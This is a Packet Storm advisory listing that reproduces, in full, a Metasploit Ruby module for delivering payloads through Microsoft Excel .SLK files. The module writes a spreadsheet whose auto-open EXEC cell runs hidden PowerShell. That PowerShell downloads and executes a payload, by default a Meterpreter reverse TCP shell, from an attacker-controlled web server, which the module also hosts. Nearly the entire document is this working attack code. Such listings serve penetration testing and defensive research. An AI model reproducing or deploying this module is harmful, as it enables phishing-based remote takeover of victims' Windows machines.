Microsoft Excel .SLK Payload Delivery

2019-02-12T00:00:00
ID PACKETSTORM:151615
Type packetstorm
Reporter Stan Hegt
Modified 2019-02-12T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Powershell  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Microsoft Excel .SLK Payload Delivery",  
'Description' => %Q{  
This module generates a download and execute Powershell  
command to be placed in an .SLK Excel spreadsheet.  
When executed, it will retrieve a payload via HTTP  
from a web server. When the file is opened, the  
user will be prompted to "Enable Content." Once  
this is pressed, the payload will execute.  
},  
'Author' => [  
'Carter Brainerd', # cbrnrd; Metasploit module  
'Stan Hegt', # @StanHacked; Discovery  
'Pieter Ceelen' # @ptrpieter; Discovery  
],  
'License' => MSF_LICENSE,  
'References' => [  
['URL', 'https://blog.appriver.com/2018/02/trojan-droppers-using-symbolic-link-files'],  
['URL', 'https://www.twitter.com/StanHacked/status/1049047727403937795'],  
['URL', 'http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen']  
],  
'Platform' => 'win', # idk about other platforms  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' =>  
[  
['Microsoft Excel', {} ]  
],  
'DisclosureDate' => 'Oct 7 2018',  
'DefaultTarget' => 0,  
'Payload' =>  
{  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => false,  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',  
'EXITFUNC' => 'thread'  
}  
))  
  
register_options([  
OptString.new('FILENAME', [true, "Filename to save as", "#{rand_text_alphanumeric 8}.slk"])  
])  
end  
  
def on_request_uri(cli, request)  
if request.raw_uri.to_s.end_with? '.slk'  
print_status("Handling request for .slk from #{cli.peerhost}")  
payload = gen_psh("#{get_uri}", "string")  
data = create_slk(payload)  
send_response(cli, data, 'Content-Type' => 'text/plain')  
else  
print_status("Delivering payload to #{cli.peerhost}...")  
p = regenerate_payload(cli)  
data = cmd_psh_payload(p.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)  
send_response(cli, data, 'Content-Type' => 'application/octet-stream')  
end  
end  
  
# I might be able to do without this (using cmd_psh_payload() and encode_final_payload() in Msf::Exploit::Powershell)  
def gen_psh(url, *method)  
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl  
  
if method.include? 'string'  
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))  
else  
# Random filename to use, if there isn't anything set  
random = "#{rand_text_alphanumeric 8}.exe"  
# Set filename (Use random filename if empty)  
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']  
  
# Set path (Use %TEMP% if empty)  
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')  
  
# Join Path and Filename  
file = %Q(echo (#{path}+'\\#{filename}'))  
  
# Generate download PowerShell command  
download_string = Rex::Powershell::PshMethods.download_run(url, file)  
end  
  
download_and_run = "#{ignore_cert}#{download_string}"  
  
# Generate main PowerShell command  
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)  
end  
  
def create_slk(cmd)  
content = "ID;P\n"  
content << "O;E\n"  
content << "NN;NAuto_open;ER101C1;KOut Flank;F\n"  
content << "C;X1;Y101;EEXEC(\"#{cmd}\")\n" # Execute command  
content << "C;X1;Y102;EHALT()\n"  
content << "E"  
content  
end  
  
def primer  
file_create(create_slk(gen_psh("#{get_uri}", 'string')))  
end  
end  
`